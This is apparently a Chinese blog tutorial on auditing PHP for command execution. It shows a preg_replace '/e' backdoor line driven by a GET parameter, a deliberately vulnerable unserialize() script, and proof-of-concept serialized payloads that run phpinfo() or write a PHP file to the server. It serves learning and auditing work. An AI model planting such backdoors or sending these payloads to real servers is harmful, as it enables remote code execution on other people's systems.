关闭

php审计基础二:命令执行

658人阅读 评论(0) 收藏 举报
分类:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open(),``
这些命令执行的例子很平常就不说了
下面是一些有意思的:
【1】preg_replace()这个函数:
出发条件:
01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just test’);这样是可以执行命令的
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just tesxt’); 或者echo preg_replace(‘/tesxt/e’, ‘phpinfo()’, ‘just test’); 这两种没有匹配上,所以返回值是第三个参数,不会执行命令
利用:

我们可以构造这样的后门代码:

@preg_replace("//e",$_GET['h'],"Access Denied"); 

echo preg_replace("/test/e",$_GET["h"],"jutst test");

当访问这样这样的链接时就可以被触发:

http://localhost:8000/testbug.php?h=phpinfo();


2php反序列化漏洞:

<?php
class Example
{
var $var = "";
function __destruct()
    {
        eval($this->var);
    }
}
class foo{
    public $file="";
    public $data="";
            function __wakeup(){
        file_put_contents($this->file,$this->data);
        echo "调用";
    }
    
}

 $str=$_GET["name"];
 unserialize($str);
?>

参考:http://www.freebuf.com/vuls/80293.html

这个很有意思

首先php反序列化可以反序列化成为一个对象,而这个对象被创建之后就会自动调用php的魔幻方法

__destruct()

__wakeup()


并且将参数传递进去,从而实现恶意的攻击


利用条件:

1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。


利用过程:

http://localhost:8000/testbug.php?name=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo();%22;}



下面就是一个命令执行的poc参数

O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo();%22;}


第一个O是代表object:表示反序列化为一个类

第二个7是类名的长度,比如我要反序列化成为Example的一个对象,那么“Example”长度就是7

第三个Example是类名,要用%22包裹住,而%22就是“的url形式

第四个1是参数的数量,我这里只有一个参数var

第五个:{s:3:%22var%22;s:10:%22phpinfo();%22;}这个里面是要传递进去的参数

5.1s表示的是一个字符串

5.23表示的是参数名的长度

5.3var是参数名

5.4s表示的是一个字符串

5.510表示的是变量的长度

5.6phpinfo();是实际的变量


这个poc执行之后首先会创建一个Example的对象,然后将var的值传递进去,然后调用__destruct()

就像

$obj=newExample;

$obj->var=”phpinfo();”;

$obj->__wakeup();


这样的过程


第二个利用的poc是:


http://localhost:8000/testbug.php?name=O:3:%22foo%22:2:{s:4:%22file%22;s:10:%22heheda.php%22;s:4:%22data%22;s:19:%22<?phpphpinfo(); ?>%22;}


可以看出来,php反序列化可以调用任何类



1
0
查看评论

代码审计典型语法结构

代码执行 eval php中可以执行代码的方式还是很多的,最普通的就是eval()这个字符串, 需要注意一下 (1)一般情况下双引号中的内容可以被替换和解释,单引号的内容是不能变化的 (2)在eval中申请的变量,所有PHP代码都可访问到 <?php $foobar = "xx...
  • wangyi_lin
  • wangyi_lin
  • 2013-11-11 23:26
  • 6587

PHP代码审计之基础篇

最近在学PHP代码审计,那就将学习的笔记都整理一遍吧~ 前期准备: 1、安装相关软件,如Sublime text、 Notepad++、editplus、 Seay源代码审计系统等 2、获得源码,可以到网上下载各种网站源码 3、安装网站 审计方法: 通读全文法:麻烦但...
  • SKI_12
  • SKI_12
  • 2017-04-18 16:31
  • 2374

PHP自动化白盒审计技术与实现

0x00前言国内公开的PHP自动化审计技术资料较少,相比之下,国外已经出现了比较优秀的自动化审计实现,比如RIPS是基于token流为基础进行一系列的代码分析。传统静态分析技术如数据流分析、污染传播分析应用于PHP这种动态脚本语言分析相对较少,但是却是实现白盒自动化技术中比较关键的技术点。今天笔者主...
  • u011721501
  • u011721501
  • 2015-05-30 09:57
  • 1996

Linux系统上针对rm命令做审计

Linux系统上针对rm命令做审计 [root@test ~]# cat /etc/audit/audit.rules # This file contains the auditctl rules that are loaded # whenever the audit daemon is sta...
  • rgb_rgb
  • rgb_rgb
  • 2016-09-14 12:56
  • 566

简单实现linux shell命令审计

#! /bin/bash cat >> /etc/bash_audit <<"EOF" #to avoid sourcing this file more than once if [ "${OSTYPE:0:7}" != "...
  • fengkun32
  • fengkun32
  • 2014-01-26 10:32
  • 2106

PHP文件包含与命令执行方式总结

转自:http://www.myhack58.com/Article/html/3/7/2012/36277.htm 1、文件包含利用 通过传递本地或者远程的文件(allow_url_fopen开启)作为参数进行利用,可以读取敏感信息、执行命令、GetWebshell. Type of call:...
  • baidu_33260220
  • baidu_33260220
  • 2016-11-25 18:10
  • 575

Bash审计与命令记录

原出处:www.pointsoftware.ch/de/howto-bash-audit-command-logger/ 翻译并整理了一下,第一次翻译水平有限,多请见谅。 有一个完整的输入命令记录在很多情况下是非常有用的: 当几个管理员在同一台电脑上一起工作时,需要知道每个人做了什么 标准的....
  • w18mc0431
  • w18mc0431
  • 2016-08-10 18:36
  • 792

php 执行linux shell命令

putenv('LANG=C.UTF-8');   //环境声明 shell_exec('shell命令'); ​ 例子:在php中获取svn项目仓库的revision​ $svn_info = shell...
  • zhengrukai
  • zhengrukai
  • 2016-12-19 10:31
  • 431

在sudo下php无法执行系统命令

在上一篇文章解决sudo: no valid sudoers sources found, quitting,我让普通用户使用sudo的时候,不用输入密码了,但老大在后台让php执行系统命令的时候,发现php会报错,但前台执行又没有问题,让我很疑惑,网上找了下,终于知道问题所在.  ...
  • white__cat
  • white__cat
  • 2014-06-25 16:21
  • 1060

在RHEL6上针对rm命令做审计

在RHEL6上针对rm命令做审计
  • msdnchina
  • msdnchina
  • 2016-09-07 17:32
  • 504
    个人资料
    • 访问:178998次
    • 积分:2834
    • 等级:
    • 排名:第14858名
    • 原创:108篇
    • 转载:7篇
    • 译文:0篇
    • 评论:52条
    文章分类